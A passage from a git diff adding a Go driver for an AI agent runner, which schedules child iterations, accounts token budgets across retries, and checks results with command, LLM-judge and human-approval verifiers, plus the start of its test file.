&event.IterationScheduled{ + DriverID: d.DriverID, Iter: n, Schedule: ScheduleImmediate, + }); err != nil { + return Result{}, err + } + } + if existing, inFold := st.at(n); !inFold || !existing.Launched { + if _, err := appendE(event.TypeIterationLaunched, &event.IterationLaunched{ + DriverID: d.DriverID, Iter: n, ChildSession: session, + }); err != nil { + return Result{}, err + } + } else { + session = existing.ChildSession // in-flight: reuse the recorded session + } + + childRes, childDir, spent, cerr := d.runIteration(ctx, n, session, allowance) + if cerr != nil { + if ctx.Err() != nil { + // A cancel of the driver reached the child: end as stopped, not + // child_failed — the child did not fail on its own merits. + if _, err := appendE(event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: d.DriverID, Iter: n, ChildSession: session, + ChildReason: "canceled", Usage: spent, + Verdict: event.IterationVerdict{Detail: "driver canceled"}, + }); err != nil { + return Result{}, err + } + return d.finish(appendE, st, "stopped", n) + } + // The child run failed on its own merits (retries, if any, are + // already exhausted inside runIteration). Record the failure as the + // iteration's verdict — with EVERY attempt's real spend so the + // budget stays honest — then apply on_child_failure. + if _, err := appendE(event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: d.DriverID, Iter: n, ChildSession: session, + ChildReason: "error", Usage: spent, + Verdict: event.IterationVerdict{ + Detail: "child failed: " + redact.FromEnv().String(cerr.Error())}, + }); err != nil { + return Result{}, err + } + if d.Spec.OnChildFailure.Mode == OnFailSurface { + // Resilient goal: a failed child is a spent iteration, but the + // driver keeps trying the next one (bounded by max_iterations + // and the budget). + if d.stalled(st) { + return d.finish(appendE, st, "stalled", n) + } + continue + } + return d.finish(appendE, st, "child_failed", n) + } + + // Loop mode verifies only when verifiers are configured (they gate + // quality, they do not decide "done"); goal mode always verifies. + // A judge's LLM spend joins the iteration's usage — verifier tokens + // are real tree spend (S6 review). + var verdict event.IterationVerdict + if len(d.Spec.Verifiers) > 0 { + var judgeUsage provider.Usage + verdict, judgeUsage = d.verify(ctx, appendE, n, childDir) + spent = addUsage(spent, judgeUsage) + } + carryText := childReport(childDir) + if _, err := appendE(event.TypeIterationCompleted, &event.IterationCompleted{ + DriverID: d.DriverID, Iter: n, ChildSession: session, + // spent sums EVERY attempt's folded usage (a retried iteration's + // failed attempts burned real tokens — S6 review P1); on the + // no-retry happy path it equals childRes.Usage. + ChildReason: childRes.Reason, Verdict: verdict, Usage: spent, + CarryRef: d.publishCarry(carryText), Carry: excerpt(carryText), + }); err != nil { + return Result{}, err + } + // Goal mode ends when the goal is met or progress stalls; loop mode + // runs on cadence until max_iterations / budget / cancel — or, in + // self_paced, an approved finish_series / no-intent finish. + if !loopMode { + if verdict.Pass { + return d.finish(appendE, st, "satisfied", n) + } + if d.stalled(st) { + return d.finish(appendE, st, "stalled", n) + } + } else if d.Spec.schedule() == ScheduleSelfPaced { + done, res, perr := d.applyPaceIntent(ctx, appendE, st, n, childDir) + if perr != nil { + return Result{}, perr + } + if done { + return res, nil + } + } + } +} + +// applyPaceIntent reads the finished child's schedule_next / finish_series +// declaration (from its journal) and either ends the series or stashes the +// next pace for awaitTick. finish_series is human-gated (DESIGN: "自称完成" +// 由 human verifier 把关,不另设 confirm 机制): approved → satisfied; denied +// → the series continues at the pace floor. No intent → on_no_intent +// (default finish: a child that stops asking is done). +func (d *Driver) applyPaceIntent(ctx context.Context, appendE appendFunc, st *State, n int, childDir string) (bool, Result, error) { + intent := childIntent(childDir) + floor, ceil, _ := d.Spec.paceBounds() // validated in prepare + switch { + case intent.finish: + if d.confirmFinish(ctx, n, childDir) { + res, err := d.finish(appendE, st, "satisfied", n) + return true, res, err + } + d.nextPace = floor + return false, Result{}, nil + case intent.has: + d.nextPace = clampPace(intent.after, floor, ceil) + return false, Result{}, nil + default: + if d.Spec.OnNoIntent == NoIntentContinue { + d.nextPace = floor + return false, Result{}, nil + } + res, err := d.finish(appendE, st, "satisfied", n) + return true, res, err + } +} + +func clampPace(after, floor, ceil time.Duration) time.Duration { + if after < floor { + return floor + } + if ceil > 0 && after > ceil { + return ceil + } + return after +} + +// confirmFinish runs the human gate on a finish_series claim through the +// same ask path as every approval (fail-closed under EnvApprovals unset). +func (d *Driver) confirmFinish(ctx context.Context, n int, childDir string) bool { + resolver := d.Approvals + if resolver == nil { + resolver = &agent.EnvApprovals{} + } + args, _ := json.Marshal(map[string]string{ + "claim": "the series is complete", + "report": excerpt(childReport(childDir)), + }) + dec, err := resolver.Resolve(ctx, agent.ApprovalRequest{ + ApprovalID: fmt.Sprintf("finish-%s-i%d", d.DriverID, n), + Agent: d.Spec.Name + " (series completion)", + ToolName: "finish_series", + Args: args, + }) + return err == nil && dec.Approve +} + +// paceIntent is a self_paced child's declared intent. +type paceIntent struct { + finish bool // finish_series succeeded + after time.Duration // schedule_next's requested delay + has bool // any intent at all (the LAST declaration wins) +} + +// childIntent folds the child journal and extracts the last successful +// schedule_next / finish_series call — unanswered or error-result calls +// carry no intent. +func childIntent(childDir string) paceIntent { + events, err := store.ReadEvents(childDir) + if err != nil { + return paceIntent{} + } + s, err := state.Fold(events) + if err != nil { + return paceIntent{} + } + var intent paceIntent + for _, m := range s.Conversation.Messages { + if m.Role != provider.RoleAssistant { + continue + } + for _, p := range m.Parts { + if p.Kind != provider.PartToolCall || + (p.ToolName != "schedule_next" && p.ToolName != "finish_series") { + continue + } + tr, ok := s.Conversation.ToolResults[p.CallID] + if !ok || tr.IsError { + continue + } + if p.ToolName == "finish_series" { + intent = paceIntent{finish: true, has: true} + continue + } + var args struct { + After string `json:"after"` + } + _ = json.Unmarshal(p.Args, &args) + if dur, derr := time.ParseDuration(args.After); derr == nil { + intent = paceIntent{after: dur, has: true} + } + } + } + return intent +} + +// awaitTick blocks until iteration n's tick is due (loop mode). It returns +// false when overlap=skip consumed n as a skipped iteration (the missed tick +// is journaled, never silent — DESIGN §运行形态). +func (d *Driver) awaitTick(ctx context.Context, appendE appendFunc, n int, first bool) (bool, error) { + switch d.Spec.schedule() { + case ScheduleInterval: + // Fixed delay after the previous completion: the first iteration (of + // a run or a resume) fires immediately, and — being sequential with + // no absolute timeline — an interval series cannot miss a tick. + if first { + return true, nil + } + every, _ := d.Spec.interval() // validated in prepare + if err := d.Clock.WaitUntil(ctx, d.Clock.Now().Add(every)); err != nil { + return false, err + } + return true, nil + + case ScheduleCron: + // Absolute timeline: every iteration (including the first) waits for + // a real tick — a nightly job started at 10:00 first runs at 03:00. + now := d.Clock.Now() + if d.lastTick.IsZero() { + d.lastTick = now + } + next, ok := d.cronSched.Next(d.lastTick) + if !ok { + return false, fmt.Errorf("driver: cron %q never fires", d.Spec.Cron) + } + if !next.After(now) { + // The tick passed while the previous iteration ran. + d.lastTick = next + if d.Spec.Overlap == OverlapCoalesce { + // Fold EVERY due tick into one immediate iteration. + for { + nn, ok := d.cronSched.Next(d.lastTick) + if !ok || nn.After(now) { + break + } + d.lastTick = nn + } + return true, nil + } + // skip (default): one skipped iteration per missed tick. + if _, err := appendE(event.TypeIterationSkipped, &event.IterationSkipped{ + DriverID: d.DriverID, Iter: n, + Reason: "overlap: tick " + next.UTC().Format(time.RFC3339) + " passed while an iteration ran", + }); err != nil { + return false, err + } + return false, nil + } + if err := d.Clock.WaitUntil(ctx, next); err != nil { + return false, err + } + d.lastTick = next + return true, nil + + case ScheduleSelfPaced: + // The pace was stashed by applyPaceIntent at the previous iteration's + // end; the first iteration fires immediately. + if first { + return true, nil + } + if d.nextPace > 0 { + if err := d.Clock.WaitUntil(ctx, d.Clock.Now().Add(d.nextPace)); err != nil { + return false, err + } + } + return true, nil + + default: + return false, fmt.Errorf("driver: schedule %q has no cadence", d.Spec.schedule()) + } +} + +// finish journals the terminal DriverCompleted and returns the Result. The +// in-memory fold already carries BestIter. +func (d *Driver) finish(appendE appendFunc, st *State, reason string, iterations int) (Result, error) { + if _, err := appendE(event.TypeDriverCompleted, &event.DriverCompleted{ + DriverID: d.DriverID, Reason: reason, Iterations: iterations, BestIter: st.BestIter, + }); err != nil { + return Result{}, err + } + return Result{Reason: reason, Iterations: iterations, BestIter: st.BestIter}, nil +} + +// runIteration runs the iteration's child to completion, applying the +// on_child_failure retry policy: attempt 1 lands under sub/iter-N; each retry +// gets its own sub/iter-N-aM store so a re-run never appends onto a dead log. +// A ctx cancel stops retrying immediately. Returns the last attempt's result +// and dir, the SUMMED spend across every attempt (failed retries burned real +// tokens — the budget must see them; S6 review), and the error (nil on the +// first success). +func (d *Driver) runIteration(ctx context.Context, n int, childSession string, allowance int) (agent.RunResult, string, provider.Usage, error) { + attempts := 1 + if d.Spec.OnChildFailure.Mode == OnFailRetry && d.Spec.OnChildFailure.Max > 0 { + attempts += d.Spec.OnChildFailure.Max + } + var ( + res agent.RunResult + childDir string + spent provider.Usage + rerr error + ) + for a := 1; a <= attempts; a++ { + childDir = filepath.Join(d.Store.Dir(), "sub", iterDir(n, a)) + childStore, err := store.OpenEventStore(childDir) + if err != nil { + return agent.RunResult{}, childDir, spent, fmt.Errorf("driver: open child store: %w", err) + } + session := childSession + if a > 1 { + session = fmt.Sprintf("%s-a%d", childSession, a) + } + // A pre-existing journal means the driver crashed with this child + // in-flight (only attempt 1 can carry prior events — retries always get + // a fresh dir). If that child already reached a terminal state, settle + // from its fold — an error/canceled ending settles as a FAILURE so the + // on_child_failure policy applies identically across the crash (S6 + // review); otherwise resume it (its own in-doubt discipline guards + // correctness) rather than duplicating a fresh run. + if childStore.LastSeq() > 0 { + child := d.NewChild(childStore, session, n, allowance) + if done, dres := settledChild(childDir); done { + _ = childStore.Close() + spent = addUsage(spent, dres.Usage) + if dres.Reason == "error" || dres.Reason == "canceled" { + res, rerr = dres, fmt.Errorf("child ended %s (settled from journal)", dres.Reason) + if ctx.Err() != nil { + return res, childDir, spent, rerr + } + continue + } + return dres, childDir, spent, nil + } + res, rerr = child.Resume(ctx) + } else { + child := d.NewChild(childStore, session, n, allowance) + res, rerr = child.Run(ctx, d.buildTask()) + } + _ = childStore.Close() + spent = addUsage(spent, childSpent(childDir)) + if rerr == nil { + return res, childDir, spent, nil + } + if ctx.Err() != nil { + return res, childDir, spent, rerr // cancel is not a retryable failure + } + if a < attempts { + slog.Warn("driver: child attempt failed, retrying", + "driver", d.DriverID, "iter", n, "attempt", a, "err", rerr) + } + } + return res, childDir, spent, rerr +} + +// addUsage sums token accounting across attempts. +func addUsage(a, b provider.Usage) provider.Usage { + return provider.Usage{ + InputTokens: a.InputTokens + b.InputTokens, + OutputTokens: a.OutputTokens + b.OutputTokens, + CacheReadTokens: a.CacheReadTokens + b.CacheReadTokens, + CacheWriteTokens: a.CacheWriteTokens + b.CacheWriteTokens, + } +} + +// settledChild reports whether a child journal is already at a terminal state +// and, if so, its result folded from that journal — the recovery path for a +// crash between the child ending and the driver recording IterationCompleted. +func settledChild(childDir string) (bool, agent.RunResult) { + events, err := store.ReadEvents(childDir) + if err != nil { + return false, agent.RunResult{} + } + s, err := state.Fold(events) + if err != nil || s.Run.Status != state.StatusEnded { + return false, agent.RunResult{} + } + return true, agent.RunResult{Reason: s.Run.Reason, Turns: s.Run.Turn, Usage: s.Run.Usage} +} + +// seriesMemoryMaxBytes caps the injected series memory: the authority +// boundary is AT injection (DESIGN: 权威边界在注入时截断) — an agent that +// lets its own doc grow cannot bloat the next iteration's context. +const seriesMemoryMaxBytes = 8 * 1024 + +// buildTask renders one iteration's task: the spec task plus the truncated +// series-memory block when configured. A missing file is simply no block — +// the first iteration has nothing to remember yet. +func (d *Driver) buildTask() string { + task := d.Spec.Task + if d.Spec.SeriesMemory == "" || d.Exec == nil || d.Exec.WS == nil { + return task + } + path, err := d.Exec.WS.Resolve(d.Spec.SeriesMemory) + if err != nil { + return task + } + raw, err := os.ReadFile(path) + if err != nil { + return task + } + mem := string(raw) + truncated := false + if len(mem) > seriesMemoryMaxBytes { + mem = mem[:seriesMemoryMaxBytes] + truncated = true + } + block := "\n\n\n" + mem + if truncated { + block += "\n[truncated at " + strconv.Itoa(seriesMemoryMaxBytes) + " bytes — keep this file short]" + } + block += "\n" + return task + block +} + +// iterDir names an iteration's child journal: sub/iter-N for the first +// attempt, sub/iter-N-aM for retries. +func iterDir(n, attempt int) string { + if attempt <= 1 { + return fmt.Sprintf("iter-%d", n) + } + return fmt.Sprintf("iter-%d-a%d", n, attempt) +} + +// reserve computes the next child's min-aggregated allowance and reports +// whether there is any budget left to launch. Zero driver budget means +// unlimited (allowance 0 passes through to the child unclamped). With a +// budget, the allowance is the driver's remaining, further clamped by the +// child spec's own cap; an exhausted budget (remaining ≤ 0) refuses launch. +func (d *Driver) reserve(st *State) (allowance int, ok bool) { + treeCap := d.Spec.Budget.MaxTotalTokens + if treeCap <= 0 { + return d.childCap(), true // unlimited tree: only the child spec caps + } + remaining := treeCap - st.SpentTokens + if remaining <= 0 { + return 0, false + } + if cc := d.childCap(); cc > 0 && cc < remaining { + return cc, true + } + return remaining, true +} + +// childCap is the child spec's own token cap (0 = unlimited). +func (d *Driver) childCap() int { + if d.Spec.Agent == nil { + return 0 + } + return d.Spec.Agent.Budget.MaxTotalTokens +} + +// stalled is pure fold: DESIGN's patience rule — this many consecutive most +// recent completed iterations with no score improvement over the best-so-far +// ends the run. Zero patience disables it. +func (d *Driver) stalled(st *State) bool { + if d.Spec.Patience <= 0 { + return false + } + best := 0.0 + if st.BestIter > 0 { + best = st.Iterations[st.BestIter-1].Verdict.Score + } + // Count completed iterations after the best one; if that streak reaches + // patience, no recent iteration improved on the best. + sinceBest := 0 + for _, it := range st.Iterations { + if !it.Completed { + continue + } + if it.N > st.BestIter && it.Verdict.Score <= best { + sinceBest++ + } + } + return sinceBest >= d.Spec.Patience +} + +// verify runs every configured verifier; ALL must pass for the iteration to +// satisfy the goal. The aggregate score is the minimum across verifiers (the +// weakest gate), so stall detection tracks the true bottleneck — seeded from +// the first verifier so a single metric score above 1 is not clamped. +func (d *Driver) verify(ctx context.Context, appendE appendFunc, n int, childDir string) (event.IterationVerdict, provider.Usage) { + agg := event.IterationVerdict{Pass: true} + var spent provider.Usage + for i, v := range d.Spec.Verifiers { + vv, usage := d.verifyOne(ctx, appendE, n, i, v, childDir) + spent = addUsage(spent, usage) + if i == 0 || vv.Score < agg.Score { + agg.Score = vv.Score + } + agg.Verifier = vv.Verifier + agg.Detail = vv.Detail + if !vv.Pass { + agg.Pass = false + break // first failing gate settles the verdict + } + } + return agg, spent +} + +// verifyOne runs one verifier as a JOURNALED, ADJUDICATED effect (S7 还债①): +// EffectRequested/Resolved record the gate verdict, ActivityStarted/Completed +// bracket the execution — the event log is the trace (DESIGN §Observability). +// A denial fails the gate verdict, never a silent pass; the human verifier IS +// the ask path already, so it gets the activity trace without re-adjudication. +func (d *Driver) verifyOne(ctx context.Context, appendE appendFunc, n, idx int, v VerifierSpec, childDir string) (event.IterationVerdict, provider.Usage) { + actID := fmt.Sprintf("verify-i%d-k%d", n, idx) + failed := func(detail string) (event.IterationVerdict, provider.Usage) { + return event.IterationVerdict{Verifier: v.Kind, Detail: detail}, provider.Usage{} + } + switch v.Kind { + case VerifierCommand: + args, _ := json.Marshal(map[string]string{"command": v.Command}) + ok, reason, err := d.adjudicateVerifier(ctx, appendE, "eff-"+actID, "bash", "execute", "tool_call", args, 0) + if err != nil { + return failed("verifier journal: " + err.Error()) + } + if !ok { + return failed("denied: " + reason) + } + if _, err := appendE(event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: actID, Kind: event.KindTool, Name: "verifier:command", + Args: redact.FromEnv().JSON(args), Attempt: 1, Idempotent: true, + }); err != nil { + return failed("verifier journal: " + err.Error()) + } + vv := d.verifyCommand(ctx, v) + d.completeVerifier(appendE, actID, vv, nil) + return vv, provider.Usage{} + case VerifierLLMJudge: + ok, reason, err := d.adjudicateVerifier(ctx, appendE, "eff-"+actID, "", "", "llm_call", nil, 1024) + if err != nil { + return failed("verifier journal: " + err.Error()) + } + if !ok { + return failed("denied: " + reason) + } + if _, err := appendE(event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: actID, Kind: event.KindLLM, Name: "verifier:llm_judge", + Attempt: 1, Idempotent: true, + }); err != nil { + return failed("verifier journal: " + err.Error()) + } + vv, usage := d.verifyLLMJudge(ctx, v, childDir) + d.completeVerifier(appendE, actID, vv, &usage) + return vv, usage + case VerifierHuman: + if _, err := appendE(event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: actID, Kind: event.KindTool, Name: "verifier:human", + Attempt: 1, Idempotent: true, + }); err != nil { + return failed("verifier journal: " + err.Error()) + } + vv := d.verifyHuman(ctx, n, v, childDir) + d.completeVerifier(appendE, actID, vv, nil) + return vv, provider.Usage{} + default: + return failed("unknown verifier kind " + v.Kind) + } +} + +// adjudicateVerifier runs a verifier effect through the pipeline, journaling +// the request and resolution into the driver stream. ask TIGHTENS to deny: +// a verifier is config-declared, nobody sits behind it to answer (记档). +func (d *Driver) adjudicateVerifier(ctx context.Context, appendE appendFunc, + effID, toolName, class, kind string, args json.RawMessage, estTokens int) (bool, string, error) { + + if _, err := appendE(event.TypeEffectRequested, &event.EffectRequested{EffectID: effID}); err != nil { + return false, "", err + } + outcome, err := d.Pipeline.Evaluate(ctx, pipeline.Effect{ + ID: effID, Kind: kind, ToolName: toolName, Class: class, + Args: args, EstTokens: estTokens, + }) + if err != nil { + return false, "", err + } + verdict := outcome.Verdict + reason := "" + if verdict == event.VerdictAsk { + verdict = event.VerdictDeny + reason = "ask tightened to deny for a config-declared verifier" + } + if verdict == event.VerdictDeny && reason == "" { + for _, g := range outcome.GateResults { + if g.Decision == event.VerdictDeny { + reason = g.Gate + ": " + g.Reason + } + } + } + if _, err := appendE(event.TypeEffectResolved, &event.EffectResolved{ + EffectID: effID, Verdict: verdict, GateResults: outcome.GateResults, + }); err != nil { + return false, "", err + } + return verdict == event.VerdictAllow, reason, nil +} + +// completeVerifier journals the verifier activity's terminal with the verdict +// as its result (and the judge's usage when present). A journal failure here +// is logged, not fatal — the verdict itself still rides IterationCompleted. +func (d *Driver) completeVerifier(appendE appendFunc, actID string, vv event.IterationVerdict, usage *provider.Usage) { + result, _ := json.Marshal(vv) + if _, err := appendE(event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: actID, Result: redact.FromEnv().JSON(result), Usage: usage, + }); err != nil { + slog.Warn("driver: verifier activity terminal journal failed", "activity", actID, "err", err) + } +} + +// verifyCommand runs a bash-class verifier against the workspace. With a +// metric regex, capture group 1 is parsed as the score (≥ threshold passes); +// otherwise exit code 0 passes. The command is driver-configured (trusted +// config, not a model-chosen effect), so it runs via the executor directly; +// full pipeline adjudication of verifiers is a later refinement. +func (d *Driver) verifyCommand(ctx context.Context, v VerifierSpec) event.IterationVerdict { + if d.Exec == nil { + return event.IterationVerdict{Verifier: VerifierCommand, Detail: "no executor for command verifier"} + } + args, _ := json.Marshal(map[string]string{"command": v.Command}) + res := d.Exec.Execute(ctx, "bash", args) + var out struct { + ExitCode int `json:"exit_code"` + Stdout string `json:"stdout"` + } + _ = json.Unmarshal(res.Payload, &out) + + if v.MetricRegex != "" { + re, err := regexp.Compile(v.MetricRegex) + if err != nil { + return event.IterationVerdict{Verifier: VerifierCommand, Detail: "bad metric_regex: " + err.Error()} + } + m := re.FindStringSubmatch(out.Stdout) + if len(m) < 2 { + return event.IterationVerdict{Verifier: VerifierCommand, Detail: "metric not found in output"} + } + score, perr := strconv.ParseFloat(m[1], 64) + if perr != nil { + return event.IterationVerdict{Verifier: VerifierCommand, Detail: "metric not a number: " + m[1]} + } + return event.IterationVerdict{ + Pass: score >= v.Threshold, Verifier: VerifierCommand, Score: score, + Detail: fmt.Sprintf("metric=%g threshold=%g", score, v.Threshold), + } + } + + pass := out.ExitCode == 0 + score := 0.0 + if pass { + score = 1 + } + return event.IterationVerdict{ + Pass: pass, Verifier: VerifierCommand, Score: score, + Detail: fmt.Sprintf("exit=%d", out.ExitCode), + } +} + +// verifyLLMJudge scores the child's result against a rubric with a single LLM +// call (DESIGN: llm_judge = LLM activity + rubric + threshold). The judge is +// asked for a strict JSON verdict; an explicit "pass" wins, otherwise score ≥ +// threshold. A judge that cannot be reached or parsed fails the gate — never +// a silent pass. +func (d *Driver) verifyLLMJudge(ctx context.Context, v VerifierSpec, childDir string) (event.IterationVerdict, provider.Usage) { + if d.Judge == nil { + return event.IterationVerdict{Verifier: VerifierLLMJudge, Detail: "no judge provider configured"}, provider.Usage{} + } + model, maxTokens := "", 1024 + if d.Spec.Agent != nil { + model = d.Spec.Agent.Model.ID + } + req := provider.CompleteRequest{ + Model: model, + MaxTokens: maxTokens, + System: v.Rubric + "\n\nYou are a strict verifier. Respond with ONLY a JSON object " + + `{"score": , "pass": , "reason": }.`, + Messages: []provider.Message{{Role: provider.RoleUser, Parts: []provider.Part{ + {Kind: provider.PartText, Text: "Result to verify:\n" + childReport(childDir)}}}}, + } + turn, err := provider.CollectTurnStreaming(d.Judge.Complete(ctx, req), func(string) {}) + if err != nil { + return event.IterationVerdict{Verifier: VerifierLLMJudge, + Detail: "judge call failed: " + redact.FromEnv().String(err.Error())}, turn.Usage + } + var j struct { + Score float64 `json:"score"` + Pass *bool `json:"pass"` + Reason string `json:"reason"` + } + raw := firstJSONObject(assistantText(turn.Message)) + if err := json.Unmarshal([]byte(raw), &j); err != nil { + return event.IterationVerdict{Verifier: VerifierLLMJudge, Detail: "judge output not parseable"}, turn.Usage + } + pass := j.Score >= v.Threshold + if j.Pass != nil { + pass = *j.Pass + } + return event.IterationVerdict{ + Pass: pass, Verifier: VerifierLLMJudge, Score: j.Score, + Detail: redact.FromEnv().String(j.Reason), + }, turn.Usage +} + +// verifyHuman asks a person whether the iteration meets the goal, reusing the +// agent's ask path (DESIGN: human verifier = the existing ask path; it may +// hang for days for free). Approve passes; deny or an unset non-interactive +// resolver fails closed. +func (d *Driver) verifyHuman(ctx context.Context, n int, v VerifierSpec, childDir string) event.IterationVerdict { + resolver := d.Approvals + if resolver == nil { + resolver = &agent.EnvApprovals{} + } + args, _ := json.Marshal(map[string]string{ + "goal": v.Rubric, + "result": excerpt(childReport(childDir)), + }) + dec, err := resolver.Resolve(ctx, agent.ApprovalRequest{ + ApprovalID: fmt.Sprintf("verify-%s-i%d", d.DriverID, n), + Agent: d.Spec.Name + " (driver goal check)", + ToolName: "verify_goal", + Args: args, + }) + if err != nil { + return event.IterationVerdict{Verifier: VerifierHuman, Detail: "human verify failed: " + redact.FromEnv().String(err.Error())} + } + score := 0.0 + if dec.Approve { + score = 1 + } + return event.IterationVerdict{ + Pass: dec.Approve, Verifier: VerifierHuman, Score: score, + Detail: redact.FromEnv().String(dec.Reason), + } +} + +// firstJSONObject returns the substring from the first '{' to the last '}' +// (inclusive), so a judge that wraps its verdict in prose still parses. The +// whole string is returned when no braces are present (json.Unmarshal then +// reports the real error). +func firstJSONObject(s string) string { + start, end := strings.IndexByte(s, '{'), strings.LastIndexByte(s, '}') + if start < 0 || end < start { + return s + } + return s[start : end+1] +} + +// assistantText returns the first text part of a message (the judge's verdict). +func assistantText(m provider.Message) string { + for _, p := range m.Parts { + if p.Kind == provider.PartText { + return p.Text + } + } + return "" +} + +// publishCarry stores the full carry doc in the CAS and returns its ref (empty +// when there is no store or no text). The full text lives in the blob; only +// the ref + a short excerpt ride IterationCompleted, keeping the log lean +// (DESIGN: carry 文档存 ArtifactStore). Redaction precedes the write, as with +// every persisted payload. +func (d *Driver) publishCarry(text string) string { + if d.Artifacts == nil || text == "" { + return "" + } + v, err := d.Artifacts.Publish("carry", []byte(redact.FromEnv().String(text))) + if err != nil { + slog.Warn("driver: carry publish failed", "driver", d.DriverID, "err", err) + return "" + } + return v.Ref +} + +// childSpent folds the child journal for its settled usage — the truth even +// when the child aborted (RunResult carries zero on error paths), so a failed +// child's spend still counts against the tree budget. +func childSpent(childDir string) provider.Usage { + events, err := store.ReadEvents(childDir) + if err != nil { + return provider.Usage{} + } + s, err := state.Fold(events) + if err != nil { + return provider.Usage{} + } + return s.Run.Usage +} + +// childReport extracts the child's final assistant text from its journal — +// the carry excerpt a later iteration (and inspect) sees. +func childReport(childDir string) string { + events, err := store.ReadEvents(childDir) + if err != nil { + return "" + } + s, err := state.Fold(events) + if err != nil { + return "" + } + var last string + for _, m := range s.Conversation.Messages { + if m.Role != provider.RoleAssistant { + continue + } + for _, p := range m.Parts { + if p.Kind == provider.PartText && p.Text != "" { + last = p.Text + } + } + } + return last +} + +// excerpt truncates a carry string to the inline cap, redacting credentials +// (the same doctrine as every other persisted payload). +func excerpt(s string) string { + s = redact.FromEnv().String(s) + if len(s) > carryExcerptBytes { + return s[:carryExcerptBytes] + "…" + } + return s +} diff --git a/internal/driver/driver_test.go b/internal/driver/driver_test.go new file mode 100644 index 0000000..6bbe938 --- /dev/null +++ b/internal/driver/driver_test.go @@ -0,0 +1,1446 @@ +package driver_test + +import ( + "context" + "encoding/json" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/agent" + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/driver" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" + "github.com/ralphite/agentrunner/internal/store" + "github.com/ralphite/agentrunner/internal/tool" + "github.com/ralphite/agentrunner/internal/workspace" +) + +// workFixture is one iteration's happy path: append a line to progress.txt +// and report a fixed 150 billed tokens. +func workFixture() scripted.Fixture { + return scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {ToolCall: &scripted.ToolCallEvent{CallID: "c1", Name: "bash", + Args: map[string]any{"command": "echo tick >> progress.txt"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{ + {Text: "appended a line"}, + {Usage: &scripted.UsageEvent{InputTokens: 100, OutputTokens: 50}}, // billed 150 + {Finish: "end_turn"}, + }}, + }} +} + +// harness wires a driver whose child runs workFixture each iteration over a +// shared workspace. The command verifier is supplied by the caller. +func harness(t *testing.T, spec *driver.DriverSpec) (*driver.Driver, *store.EventStore) { + return harnessFix(t, spec, workFixture()) +} + +// harnessFix is harness with a caller-chosen child fixture — an empty fixture +// makes every child run fail (the provider exhausts on the first turn), which +// drives the on_child_failure paths. +func harnessFix(t *testing.T, spec *driver.DriverSpec, fix scripted.Fixture) (*driver.Driver, *store.EventStore) { + t.Helper() + root := t.TempDir() + ws, err := workspace.New(root) + if err != nil { + t.Fatal(err) + } + exec := &tool.Executor{WS: ws} + dStore, err := store.OpenEventStore(filepath.Join(root, "driver")) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = dStore.Close() }) + + childSpec := &agent.AgentSpec{ + Name: "worker", + Model: agent.ModelSpec{Provider: "scripted", ID: "x", MaxTokens: 100}, + SystemPrompt: "make progress", + Tools: []string{"bash"}, + MaxTurns: 5, + } + spec.Agent = childSpec + clk := clock.NewFake(time.Date(2026, 7, 4, 0, 0, 0, 0, time.UTC)) + + d := &driver.Driver{ + Spec: spec, + Store: dStore, + Clock: clk, + DriverID: "drv-1", + Exec: exec, + // The scripted child bills a fixed 150/iteration and does not enforce + // its own cap (agent budget tests cover that) — this isolates the + // DRIVER's reserve/settle/stop accounting. + NewChild: func(cs *store.EventStore, session string, iter, budgetTokens int) *agent.Loop { + return &agent.Loop{ + Spec: childSpec, + Provider: scripted.New(fix), + Exec: exec, + Store: cs, + Clock: clk, + SessionID: session, + } + }, + } + return d, dStore +} + +// Goal mode: a metric-free command verifier that passes once the workspace +// has accumulated enough lines. The child adds one line per iteration, so the +// goal is satisfied on exactly the third iteration. +func TestDriverGoalSatisfied(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 5, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test $(wc -l < progress.txt) -ge 3", + }}, + }) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "satisfied" || res.Iterations != 3 { + t.Fatalf("res = %+v, want satisfied at iteration 3", res) + } + + events, err := store.ReadEvents(dStore.Dir()) + if err != nil { + t.Fatal(err) + } + st, err := driver.Fold(events) + if err != nil { + t.Fatal(err) + } + if st.Status != driver.StatusEnded || st.Reason != "satisfied" { + t.Fatalf("fold status=%s reason=%s", st.Status, st.Reason) + } + if len(st.Iterations) != 3 { + t.Fatalf("iterations = %d, want 3", len(st.Iterations)) + } + if !st.Iterations[2].Completed || !st.Iterations[2].Verdict.Pass { + t.Errorf("iteration 3 = %+v, want completed+pass", st.Iterations[2]) + } + if st.Iterations[0].Verdict.Pass || st.Iterations[1].Verdict.Pass { + t.Errorf("iterations 1-2 should have failed the verifier") + } + // The terminal DriverCompleted is the last fact. + last := events[len(events)-1] + if last.Type != event.TypeDriverCompleted { + t.Fatalf("last event = %s, want driver_completed", last.Type) + } +} + +// Goal mode: a verifier that never passes ends the run at the iteration cap. +func TestDriverGoalMaxIterations(t *testing.T) { + d, dStore := harness(t, &driver.DriverSpec{ + Name: "goal", Task: "add a line", MaxIterations: 2, + Verifiers: []driver.VerifierSpec{{ + Kind: driver.VerifierCommand, Command: "test -f never-created", + }}, + }) + + res, err := d.Run(context.Background()) + if err != nil { + t.Fatal(err) + } + if res.Reason != "max_iterations" || res.Iterations != 2 { + t.Fatalf("res = %+v, want max_iterations at 2", res) + } + events, _ := store.ReadEvents(dStore.Dir()) + st, _ := driver.Fold(events) + if len(st.Iterations) != 2 { + t.Fatalf("iterations = %d, want 2", len(st.Iterations)) + } + // Each iteration DID run a child (fresh journal under sub/iter-N). + for i := 1; i <= 2; i++ { + sub := filepath.Join(dStore.Dir(), "sub", "iter-"+itoa(i)) + cev, 